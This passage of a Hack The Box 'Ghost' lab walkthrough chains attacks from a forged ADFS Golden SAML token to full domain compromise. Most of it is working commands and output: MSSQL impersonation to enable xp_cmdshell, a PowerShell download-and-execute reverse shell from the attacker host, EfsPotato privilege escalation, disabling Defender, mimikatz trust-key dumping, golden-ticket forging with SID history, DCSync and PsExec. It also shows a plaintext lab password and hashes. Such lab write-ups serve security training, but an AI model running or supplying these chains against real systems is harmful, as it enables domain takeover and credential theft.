klYL85fMByon9AMe55Jaozk8X8IvcW6+m3V/zkKRG7srLX5R7ii3C4epaZPVC5NjNgpBkpT31X7ZZZIyphQIRNNkAve49oaquxVVcrDNyKjmkkm8XSHHn153z/yK3mInTMwr2FJU3W7L/Kkvprl34Tp5fxC7G/KRJV7/GKIlBLU0BlNZbuDm7sYPpRdzhAkna4+c4r8gb2M5Qjasqit7kuPeCRSxkCgmBhrdvg4PCU6QRueIZ795qjWPKeJOs88c7sdADJiRjQSrcUGCAU59wTG0vB4hhO3D87sbdXCEa74/YXiR7mFgc7upx/JpV+KcCEVPdJQAhpfyVJGmWDJZBvVXoNC2XInsJZJf81Oz+qBxbZo+ZzJxeqxgROdxc+q5Qy6c+CC8Kg3ljMQNdzxpk6AVd0/nbhdcPPmyG6tHZVEtNWoLW5SgdSWf/M0tltJ/yRii0hxFBVQwRgFSmsKZIDzk5+OktW7Rq3VgxS4dj97ejfFbnoEbbvKl9STRPw/vuRbQaQF15ZnwlQ0fvtWuWbJUTiwXeWmp1yQMU/qWMV/LtyGRl4eZuROzBjd+ujf8/Q6YSdAMR/o6ziKBHXrzaF8dH9XizNux0kPdCgtcpWfW+aKEeiWiYDxpOzR8Wmcn+Th0hDD9+P5YeZ85p/NkedO7eRMi38lOIBU2nT3oupJMGnnNj1EUd2z8gMcW/+VekgfN+ku5yxi3b9pvUIiCatHgp6RRb70fdNkyUa6ahxM5zS1dL/joGuoIJe26lpgqpYz1vZa15VKuCRU6v62HtqsOnB5sn6IhR16z3H416uFmXc9k4WRZQ0zrZjdFm+WPAHoWAufzAdZP/pdYv1IsrDoXsIAyAgw3rEzcwKs6XA5K9kihMIZXXEvtU2rsNGevNCjFqNMAS9BeNi9r/XjHDXnFZv6OQpfYJUPiUmumE+DYXZ/AP/MPSDrCkLKVPyip7xDevBN/BEsNEUSTXxm
[-] Encrypted Token Signing Key End
[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My
## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
==================
Enabled: True
Sign-In Protocol: SAML 2.0
Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
SamlResponseSignatureType: 1;
Identifier: https://core.ghost.htb:8443
Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
<RequireFreshAuthentication>false</RequireFreshAuthentication>
<IssuanceAuthorizationRules>
<Rule>
<Conditions>
<Condition i:type="AlwaysCondition">
<Operator>IsPresent</Operator>
</Condition>
</Conditions>
</Rule>
</IssuanceAuthorizationRules>
</PolicyMetadata>
Access Policy Parameter:
Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);
With the above juicy info. we can contract Golden SAML attack against core.ghost.htb
portal.
For the attack to work we need the following:
The token signing certificate and its private key
The Distributed Key Manager (DKM) key from Active Directory
The list of services for which the AD FS server is configured to be an identity provider
Shell as mssql-service
To contract this attack, I need this tool:
Save the private key to file with appropriate format
Copy ┌──(test)─(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ echo 'xxxxxxxx-70-2B-3F-D6-08-D5-BC-35-A9-84xxxxxxxxxxxx' | tr -d '-' | xxd -r -p > private_key.bin
Save the Encrypted signing token with hex format
Copy ┌──(test)─(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ cat token.txt | base64 -d > token.bin
Copy ┌──(ADFSAttack)─(kali㉿kali)-[~/…/platform/machines/Ghost/ADFSpoof]
└─$ python ADFSpoof.py -b ../token.bin ../key2.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'GHOST\administrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOST\administrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
___ ____ ___________ ____
/ | / __ \/ ____/ ___/____ ____ ____ / __/
/ /| | / / / / /_ \__ \/ __ \/ __ \/ __ \/ /_
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/
/_/ |_/_____/_/ /____/ .___/\____/\____/_/
/_/
A tool to for AD FS security tokens
Created by @doughsec
PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfUU9KVFJXIiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNC0wOC0yN1QxMToxMzoxNS4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vY29yZS5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxBc3NlcnRpb24geG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfUkRaWjdNIiBJc3N1ZUluc3RhbnQ9IjIwMjQtMDgtMjdUMTE6MTM6MTUuMDAwWiIgVmVyc2lvbj0iMi4wIj48SXNzdWVyPmh0dHA6Ly9jb3JlLmdob3N0Lmh0Yi9hZGZzL3NlcnZpY2VzL3RydXN0PC9Jc3N1ZXI%2BPGRzOlNpZ25hdHVyZSB4bWxuczpkcz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI%2BPGRzOlNpZ25lZEluZm8%2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjX1JEWlo3TSI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPjwvZHM6VHJhbnNmb3Jtcz48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2Ii8%2BPGRzOkRpZ2VzdFZhbHVlPmpvU2pVV1g2RndxTStpaFIwQ2pOKzYrZ0d5R2ZoSFpQOE0yVVZ6MCtDeVE9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPm1IbC9LTjBwU2toaFQrcGtYZFVkZ1V0SFNMRSsvNE53Zjh1Rkl6TkFTQUhMR24rRURDcmFzTWNodGVHYm9kcDRtZDFsRnpkV2ZnVisvWUVhcGE4Ui9qVUFkd2xLcG1GVHh5UnlwNE9HM1c2TEhnczVJK3J6YkxSc0hRVEYvZ2FUcDhTUXpXSmVlK2V0aFpEMzJlUTZJMG00YWdVWUlJZUhhS0NhekQ3b2VCRGlzenk0V1QwSFAveVYydWRSNzAxV3dqMWc3SW9PQ0pGZ290bnJmd3ZYMFl5aGt1ZUhlbHhEekVvR25pa0NDSWlOcDNvRjJYYVI4NncySmpkd3FBdUt1VzV4M1pBSldGQm95b2xjRStIY09uUGd5akl2aUJ1YUJGejhQbmc0d1FFeit3N1FwQ3ZVaTcxRG1VdklNTzFlOGVVRVB4QnJuOEROeGdPUXN1YmR5WHhiREdWMmg4aTIyeDFGZ0NxMkRWdFJGQ0RLQmhUOVgveFF1WFZQaEpYZS9PMlRqTFE1aWRNZ3d3Z0hWSTF2TkJLcW9XdkVjdzRQOUdxMDRaMVhibjZqV1NKT2pVc0pJWWNvT3h6NkpxN2FrREtVR2NVUTNVVThsU2JHbmRRYm5kWGlZcUhSeUNXUFVqNGg5WUtJaTdGYzZuOHVDaHFSNHpGYnpFVlNObC9yYis0SWlEVkVvK01RdVZ3RmowNGRDQjh3dWZ2NVdQcVlUVzRtQkl6OUFxSjNvTUNBRUhucEdQY3FpRWtST2NEWHFtVzZPRHlOb0tqdlFWWUhUZUw5c1Z0UnlCVGhYSXNDZ2pYc3ZXaHZQT1haOFhWY0pGMEgvV0NadWVjdjR5cVJwczE2QTVhMjk5RjN6anRMZDE4Z0J4a0U3a1hrRFJLTDdxQXpvRk9mc0lrPTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPGRzOktleUluZm8%2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2VydGlmaWNhdGU%2BTUlJRTVqQ0NBczZnQXdJQkFnSVFKRmNXd015YlJhNU80K1dPNXRXb0dUQU5CZ2txaGtpRzl3MEJBUXNGQURBdU1Td3dLZ1lEVlFRREV5TkJSRVpUSUZOcFoyNXBibWNnTFNCbVpXUmxjbUYwYVc5dUxtZG9iM04wTG1oMFlqQWdGdzB5TkRBMk1UZ3hOakUzTVRCYUdBOHlNVEEwTURVek1ERTJNVGN4TUZvd0xqRXNNQ29HQTFVRUF4TWpRVVJHVXlCVGFXZHVhVzVuSUMwZ1ptVmtaWEpoZEdsdmJpNW5hRzl6ZEM1b2RHSXdnZ0lpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElDRHdBd2dnSUtBb0lDQVFDK0FBT0lmRXF0bFljbjE1M0wxQnZHUWdEeVhUbll3VFJ6c0s1OSt6RTF6Z0dLTzlONW5iOEZrK2RhS3BXTFFhaUg3b0RIYWVudy9RYXhCZzVxZGVEWW1EM296OEt5YUExeWdZQnJ6bTR3VzdGZjg3cks5RmU1SjUvaDZXOWc3NDloNUJJcVBRT3AwbDZzMXJmdW1PY2NONHliVzk1RVdOTDB2dVFYdkMrS1E0RDRnTVh1OG1DR3B4dHZJTDhpbE50SnVJRzNPUllTS2hSYWwweXlKZU9oRzR4Z2xyWkpGMThwOXdobkU2b21nZ21BNm4yc2hEay90dlRZamlpNWU3L2ljV1RLa3JzTUNwYUtVTms3bXhkTVpoUWFiN1NtZktyWk40cFJEN2RWZzV6ekl5RDdVelM5Q0hMQzZ4TnpxL1owaHVhT2FKaE9TZEpTZ2F0L2JzRzhuYngxOUhELyt5cFc5SjJMdE5GdWdkV3RtVUJXRE9RQllWaEI4U2c0VkVHZ1A5anlJdEhIMmJ6c0RmalJkSjhFMXVOSldQL2tRQTErd1lsT2RkTHFVM2IwSXNDdmxBOEV2WVcwVDFSc3U3N280eC93MGdXYjBvUVBFSXo3ejk3M2I0OTZ3cVF0M0RueWZlTzNsWFhmWk5jdmFqNUtDUDJUdEdCK0tzaEY5cGtJUHhxN0YyZ01oN1FqeGpSSHNBMjlWOGpGbzlnTEQ3a1BWaWNhSVVkc2dpRkhuWVFGMTRhNTJKdFIxVjVpTitoOTVKa3V1RXFRV0RCSEF2UEVCQlprRVpIKzV5VCthQ0ZYWFgrQnBQdDNRR2pZTGVKVThDRnNNdG44UVZMWXZMZGNWUnNVblJoL1dIaVh3Sk9PRVZFQ2E5dzcveVZuaGFsQ05CeDFFL2w0S1FJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUNBUUFXWUtaVzNjRENCTzZkVDN5ZmwzT2N1eXAxTFZLVkkrOXBGeC9iYldwV2pTZGg2YjM5TFR4eEQ3RllVdGh1V1BaM3JGNEcrRmRNRkhIQ3gzWXBFbVVGbkVMS3NYcWhaOTg5QVg1OEkvM21iZlVsS1dlSVBMU0xrcCtlUlpvTUprdDdrMS9LWHREYXNPUW4wTnNnWUVvd0xCSW1NQ011OXV1am5DbUZPd0hQL0lCaGdZUU1IaDQ2QnpTWFdQM2k4VlhiclJ0RHBvL2MvL09GSmhHbW5uRjhaUG1pNHh0emZTREJwVktxd1ZMcDc4Q2d1TXhqUWQrYmRVYjQ1NTg4Wko0Q0xzUGRSUXAzMFdKMS9DTklhZW52Sld0QTJHNUladzVVMEVXQ0pMb1lKV0ZzOWl5T2ExL3k1NXJ1VzZKOGxJR0Qwd21vRWVDbDlDSDFFZDRkelVkVVhmMU1CQ1lQM1g5MmlheHpVRTB1cEdkLzFRbzZIVHl5T2xXdUF3cmtUMlZIRUxLVlpLT2c4K2RseTk3Z3laSWZVdFF3SWtQd05sOHZvMDRjZmoraHpPdkJ6UEtBQVloMTROTGd2ZUFJL0RxTW5PME9LTyt3MUhCS3c2NE5CQ244Z29hekYrUHVGZlVPMHlOSEZMNGt4TXBjYXA2aWV2NmczQlhDU0R3ZnFUVU9FdUVzN3E5b1lLZ3EycW5OVk9USWhoSW5NWEJ6RW02aVAxM2pmdU9vWEpkUEFuRVVYbjR5NXl3QTk3cnRiR25aRVB5eDFmMUVrWC9oYnFCUDR2b2d2OWtsdGFVRUVWWGtTK2hQcHhabWV4Q05yQkQxcTdHSi81MGViWWxDMENldjh3Nk1zOHRNME9ydnBwR1lsV3J0UHdldkV2ZmlSa3dCTEc3RU1BbkxTdz09PC9kczpYNTA5Q2VydGlmaWNhdGU%2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8%2BPC9kczpTaWduYXR1cmU%2BPFN1YmplY3Q%2BPE5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpuYW1laWQtZm9ybWF0OnRyYW5zaWVudCI%2BR0hPU1RcYWRtaW5pc3RyYXRvcjwvTmFtZUlEPjxTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPFN1YmplY3RDb25maXJtYXRpb25EYXRhIE5vdE9uT3JBZnRlcj0iMjAyNC0wOC0yN1QxMToxODoxNS4wMDBaIiBSZWNpcGllbnQ9Imh0dHBzOi8vY29yZS5naG9zdC5odGI6ODQ0My9hZGZzL3NhbWwvcG9zdFJlc3BvbnNlIi8%2BPC9TdWJqZWN0Q29uZmlybWF0aW9uPjwvU3ViamVjdD48Q29uZGl0aW9ucyBOb3RCZWZvcmU9IjIwMjQtMDgtMjdUMTE6MTM6MTUuMDAwWiIgTm90T25PckFmdGVyPSIyMDI0LTA4LTI3VDEyOjEzOjE1LjAwMFoiPjxBdWRpZW5jZVJlc3RyaWN0aW9uPjxBdWRpZW5jZT5odHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDM8L0F1ZGllbmNlPjwvQXVkaWVuY2VSZXN0cmljdGlvbj48L0NvbmRpdGlvbnM%2BPEF0dHJpYnV0ZVN0YXRlbWVudD48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3VwbiI%2BPEF0dHJpYnV0ZVZhbHVlPkdIT1NUXGFkbWluaXN0cmF0b3I8L0F0dHJpYnV0ZVZhbHVlPjwvQXR0cmlidXRlPjxBdHRyaWJ1dGUgTmFtZT0iaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvY2xhaW1zL0NvbW1vbk5hbWUiPjxBdHRyaWJ1dGVWYWx1ZT5BZG1pbmlzdHJhdG9yPC9BdHRyaWJ1dGVWYWx1ZT48L0F0dHJpYnV0ZT48L0F0dHJpYnV0ZVN0YXRlbWVudD48QXV0aG5TdGF0ZW1lbnQgQXV0aG5JbnN0YW50PSIyMDI0LTA4LTI3VDExOjEzOjE0LjUwMFoiIFNlc3Npb25JbmRleD0iX1JEWlo3TSI%2BPEF1dGhuQ29udGV4dD48QXV0aG5Db250ZXh0Q2xhc3NSZWY%2BdXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFjOmNsYXNzZXM6UGFzc3dvcmRQcm90ZWN0ZWRUcmFuc3BvcnQ8L0F1dGhuQ29udGV4dENsYXNzUmVmPjwvQXV0aG5Db250ZXh0PjwvQXV0aG5TdGF0ZW1lbnQ%2BPC9Bc3NlcnRpb24%2BPC9zYW1scDpSZXNwb25zZT4%3D
Repeating this request in the browser and getting this page.
Intercept the request with burp and begin enumeration. I got there is a database link and the server's name
is primary
I could impersonate user sa
at PRIMARY
server, So I can now enable xp_cmdshell
and get RCE
Copy EXECUTE('EXECUTE AS LOGIN = ''sa'';EXECUTE sp_configure ''show advanced options'', 1; RECONFIGURE; EXECUTE sp_configure ''xp_cmdshell'', 1; RECONFIGURE';exec xp_cmdshell "whoami") AT [PRIMARY]
you must execute EXECUTE AS LOGIN = 'sa'
in each time you run commands
Get a Shell
I run PowerJoker.py
to generate a reverse shell and host it as shell.ps1
on web server.
Copy ┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ python3 /opt/PowerJoker/PowerJoker.py -l 10.10.16.9 -p 443
powershell -e <base64>
[PJ] Listening on 0.0.0.0:443
INFO:__main__:Waiting for sessions...
Executing the following command.
Copy EXECUTE('EXECUTE AS LOGIN = ''sa'';EXECUTE sp_configure ''show advanced options'', 1; RECONFIGURE; EXECUTE sp_configure ''xp_cmdshell'', 1; RECONFIGURE;exec xp_cmdshell "powershell -c IEX(New-Object Net.WebClient).DownloadString(''http://10.10.16.9/shell.ps1'')"') AT [PRIMARY]
Receive a connection back.
Copy [Successfully] Accepted connection from 10.10.11.24:49864
INFO:__main__:Live Session --> [SESSION ID::1, 10.10.11.24::49864 ]
10.10.11.24:49864 >>> [PJSession] 1: whoami
nt service\mssqlserver
I can confirm that I have SeImpersonatePrivilege
that can be abused to elevate to SYSTEM
Copy 10.10.11.24:49864 >>> [PJSession] 1: whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
From the output below, I landed in corp.ghost.htb
domain and not in ghost.htb
Copy 10.10.11.24:49864 >>> [PJSession] 1: Get-ADComputer -Filter *
DistinguishedName : CN=PRIMARY,OU=Domain Controllers,DC=corp,DC=ghost,DC=htb
DNSHostName : PRIMARY.corp.ghost.htb
Enabled : True
Name : PRIMARY
ObjectClass : computer
ObjectGUID : 12591b27-1b8c-48a1-b436-4f1e0f6c712e
SamAccountName : PRIMARY$
SID : S-1-5-21-2034262909-2733679486-179904498-1000
Shell as SYSTEM
To escalate to SYSETM account, I used EfsPotato.exe. I also tried different options such as DeadPotato.exe but didn't work because AV.
I downloaded EfsPotato.cs
from my kali to C:\programdata
folder and compiled it with the following command as the repo. said.
Copy C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe C:\programdata\EfsPotato.cs -nowarn:1691,618
Get a shell as SYSTEM
After getting escalating to SYSTEM
I can stop the antivirus.
Copy Set-MpPreference -DisableRealtimeMonitoring $True
Parent Domain Compromise
I'm in corp.ghost.htb
, So I can extract trust key and perform SID History Injection
attack and to perform it, I need the following.
Trust key in the direction of access: from corp.ghost.htb
to ghost.htb
SID of the domain corp.ghost.htb
SID of Enterprise Admins
Group
Get the trust key
Copy .\mimikatz.exe 'lsadump::trust /patch' exit
Get SID of Enterprise Admins
Group
Copy Impacket-lookupsids ghost.htb/justin.bradley:`Qwertyuiop1234$$`@10.10.11.24 -domain-sids | grep -i "Enterprise Admins"
Forgue golden ticket.
Copy .\mimikatz.exe 'kerberos::golden /user:Administrator /domain:corp.ghost.htb /rc4:32c010a5a9fecbdb33e97b21b9daa306 /sid:S-1-5-21-2034262909-2733679486-179904498 S-1-5-21-4084500788-938703357-3654145966-519 /target:ghost.htb /service:krbtgt /ticket:administrator.kirbi' exit
User : Administrator
Domain : corp.ghost.htb (CORP)
SID : S-1-5-21-2034262909-2733679486-179904498
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 32c010a5a9fecbdb33e97b21b9daa306 - rc4_hmac_nt
Service : krbtgt
Target : ghost.htb
Lifetime : 8/27/2024 6:49:42 AM ; 8/25/2034 6:49:42 AM ; 8/25/2034 6:49:42 AM
-> Ticket : administrator.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
Request Service ticket to access the file system
Copy .\Rubeus.exe asktgs /dc:dc01.ghost.htb /service:cifs/dc01.ghost.htb /ticket:administrator.kirbi /nowrap /ptt
Access the File System of the domain Ghost.htb
.
It should work but there is timing issue, So you must try until you get Access granted
Copy JokerShell C:\programdata> ls \\dc01.ghost.htb\c$
ls : Access is denied
At line:1 char:6
+ . { ls \\dc01.ghost.htb\c$
+ ~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (\\dc01.ghost.htb\c$:String) [Get-ChildItem], UnauthorizedAccessExcept
ion
+ FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
ls : Cannot find path '\\dc01.ghost.htb\c$' because it does not exist.
At line:1 char:6
+ . { ls \\dc01.ghost.htb\c$
+ ~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (\\dc01.ghost.htb\c$:String) [Get-ChildItem], ItemNotFoundException
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand
Someone suggested this script to make the things work.
Copy # Define the paths to the Mimikatz and Rubeus executables
$mimikatzPath = ".\mimikatz.exe"
$rubeusPath = ".\Rubeus.exe"
# Define the Mimikatz and Rubeus commands
$mimikatzTrustCmd = '"lsadump::trust /patch" exit'
$mimikatzGoldenCmd = '"kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:32c010a5a9fecbdb33e97b21b9daa306 /service:krbtgt /target:GHOST.HTB /ticket:xyz.kirbi" exit'
$rubeusCmd = "/ticket:xyz.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt"
# Define the directory to check
$targetDirectory = "\\dc01.ghost.htb\c$"
# Function to run a command and wait for it to complete
function Run-Command {
param (
[string]$cmd
)
& cmd /c $cmd | Out-Null
}
# Loop to keep trying until access is granted
while ($true) {
try {
# Run Mimikatz to dump trust information and create the Golden Ticket
Run-Command "$mimikatzPath $mimikatzTrustCmd"
Run-Command "$mimikatzPath $mimikatzGoldenCmd"
# Run Rubeus to request the TGS and apply the ticket
Run-Command "$rubeusPath asktgs $rubeusCmd"
# Check if we can access the directory
$access = Test-Path $targetDirectory
if ($access) {
Write-Host "Access granted to $targetDirectory"
dir $targetDirectory
break
} else {
Write-Host "Access denied. Purging tickets and retrying..."
klist purge
}
} catch {
Write-Host "An error occurred: $_"
klist purge
}
}
Access Granted :).
Copy JokerShell C:\programdata> .\access.ps1
Directory: \\dc01.ghost.htb\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 7/22/2024 9:55 AM Program Files
d----- 7/22/2024 9:55 AM Program Files (x86)
d-r--- 2/4/2024 1:48 PM Users
d----- 7/10/2024 3:08 AM Windows
Get Administrator flag.
Copy JokerShell C:\programdata> cat \\dc01.ghost.htb\c$\Users\Administrator\Desktop\root.txt
12c170d191bc04efxxxxxxxxxxxxxxxxxx
Alternative way to perform DCsync attack using the cifs ticket and get administrator hash
Copy .\mimikatz.exe kerberos::ptt cifs.kirbi lsadump::dcsync /user:ghost\administrator /domain:ghost.htb exit
Shell as Ghost Administrator
I put a reverse shell in C:\programdata\rce.ps1 and trigger it with PsExec.exe
Get Access to the DC
Copy JokerShell C:\programdata> .\PsExec64.exe -accepteula \\DC01.ghost.htb cmd.exe /c "powershell -c C:\programdata\rce.ps1"
Copy ┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ rlwrap nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.24] 55739
JokerShell C:\Users\Administrator> whoami;hostname
corp\administrator
DC01